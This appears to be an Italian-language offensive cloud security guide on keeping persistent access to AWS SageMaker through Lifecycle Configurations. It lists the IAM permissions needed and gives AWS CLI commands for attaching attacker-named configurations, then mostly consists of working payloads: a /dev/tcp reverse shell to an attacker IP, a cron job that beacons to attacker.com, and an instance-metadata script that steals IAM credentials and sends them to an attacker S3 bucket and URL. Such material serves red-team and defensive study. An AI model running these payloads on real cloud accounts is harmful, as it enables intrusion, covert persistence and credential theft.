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# AWS - SageMaker Lifecycle Configuration Persistence
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## Panoramica delle Tecniche di Persistenza
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Questa sezione delinea i metodi per ottenere persistenza in SageMaker abusando delle Configurazioni del Ciclo di Vita (LCC), inclusi reverse shell, cron job, furto di credenziali tramite IMDS e backdoor SSH. Questi script vengono eseguiti con il ruolo IAM dell'istanza e possono persistere attraverso i riavvii. La maggior parte delle tecniche richiede accesso alla rete in uscita, ma l'uso di servizi sul piano di controllo AWS può comunque consentire il successo se l'ambiente è in modalità "solo VPC".
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#### Nota: Le istanze di notebook SageMaker sono essenzialmente istanze EC2 gestite configurate specificamente per carichi di lavoro di machine learning.
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## Permessi Richiesti
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* Istanze di Notebook:
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sagemaker:CreateNotebookInstanceLifecycleConfig
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sagemaker:UpdateNotebookInstanceLifecycleConfig
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sagemaker:CreateNotebookInstance
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sagemaker:UpdateNotebookInstance
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```
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* Applicazioni Studio:
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```
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sagemaker:CreateStudioLifecycleConfig
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sagemaker:UpdateStudioLifecycleConfig
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sagemaker:UpdateUserProfile
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sagemaker:UpdateSpace
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sagemaker:UpdateDomain
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```
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## Imposta la Configurazione del Ciclo di Vita sulle Istanze Notebook
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### Esempi di Comandi AWS CLI:
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```bash
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# Create Lifecycle Configuration*
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aws sagemaker create-notebook-instance-lifecycle-config \
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--notebook-instance-lifecycle-config-name attacker-lcc \
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--on-start Content=$(base64 -w0 reverse_shell.sh)
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# Attach Lifecycle Configuration to Notebook Instance*
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aws sagemaker update-notebook-instance \
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--notebook-instance-name victim-instance \
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--lifecycle-config-name attacker-lcc
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```
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## Imposta la Configurazione del Ciclo di Vita su SageMaker Studio
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Le Configurazioni del Ciclo di Vita possono essere collegate a vari livelli e a diversi tipi di app all'interno di SageMaker Studio.
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### Livello del Dominio Studio (Tutti gli Utenti)
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```bash
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# Create Studio Lifecycle Configuration*
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-studio-lcc \
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--studio-lifecycle-config-app-type JupyterServer \
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--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
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# Apply LCC to entire Studio Domain*
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aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
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"JupyterServerAppSettings": {
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"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
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}
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}'
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```
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### Studio Space Level (Spazi Individuali o Condivisi)
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```bash
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# Update SageMaker Studio Space to attach LCC*
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aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
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"JupyterServerAppSettings": {
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||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
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}
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}'
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```
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## Tipi di Configurazioni del Ciclo di Vita dell'Applicazione Studio
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Le configurazioni del ciclo di vita possono essere applicate specificamente a diversi tipi di applicazioni SageMaker Studio:
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* JupyterServer: Esegue script durante l'avvio del server Jupyter, ideale per meccanismi di persistenza come reverse shell e cron job.
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* KernelGateway: Esegue durante il lancio dell'app del gateway del kernel, utile per la configurazione iniziale o l'accesso persistente.
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* CodeEditor: Si applica all'Editor di Codice (Code-OSS), abilitando script che vengono eseguiti all'inizio delle sessioni di modifica del codice.
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### Esempio di Comando per Ogni Tipo:
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### JupyterServer
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-jupyter-lcc \
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--studio-lifecycle-config-app-type JupyterServer \
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--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
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```
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### KernelGateway
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-kernelgateway-lcc \
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--studio-lifecycle-config-app-type KernelGateway \
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--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
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```
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### CodeEditor
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-codeeditor-lcc \
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--studio-lifecycle-config-app-type CodeEditor \
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--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
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```
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### Informazioni Critiche:
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* Allegare LCC a livello di dominio o spazio influisce su tutti gli utenti o le applicazioni nel campo di applicazione.
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* Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace) tipicamente più fattibili a livello di spazio che a livello di dominio.
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* I controlli a livello di rete (ad es., filtraggio egress rigoroso) possono prevenire shell inverse o esfiltrazione di dati riuscite.
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## Shell Inversa tramite Configurazione del Ciclo di Vita
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Le Configurazioni del Ciclo di Vita di SageMaker (LCC) eseguono script personalizzati quando le istanze del notebook vengono avviate. Un attaccante con permessi può stabilire una shell inversa persistente.
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### Esempio di Payload:
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```
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#!/bin/bash
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ATTACKER_IP="<ATTACKER_IP>"
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ATTACKER_PORT="<ATTACKER_PORT>"
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nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
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```
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## Persistenza dei Cron Job tramite Configurazione del Ciclo di Vita
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Un attaccante può iniettare cron job tramite script LCC, garantendo l'esecuzione periodica di script o comandi malevoli, abilitando una persistenza furtiva.
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### Esempio di Payload:
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```
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#!/bin/bash
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PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
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CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
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CRON_JOB="*/30 * * * * $CRON_CMD"
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mkdir -p /home/ec2-user/SageMaker/.local_tasks
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echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
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chmod +x $PAYLOAD_PATH
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(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
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```
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## Esfiltrazione delle Credenziali tramite IMDS (v1 & v2)
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Le configurazioni del ciclo di vita possono interrogare il servizio di metadati dell'istanza (IMDS) per recuperare le credenziali IAM ed esfiltrarle in una posizione controllata dall'attaccante.
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### Esempio di Payload:
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```bash
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#!/bin/bash
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ATTACKER_BUCKET="s3://attacker-controlled-bucket"
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TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
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ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
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curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
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# Exfiltrate via S3*
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aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
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# Alternatively, exfiltrate via HTTP POST*
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curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
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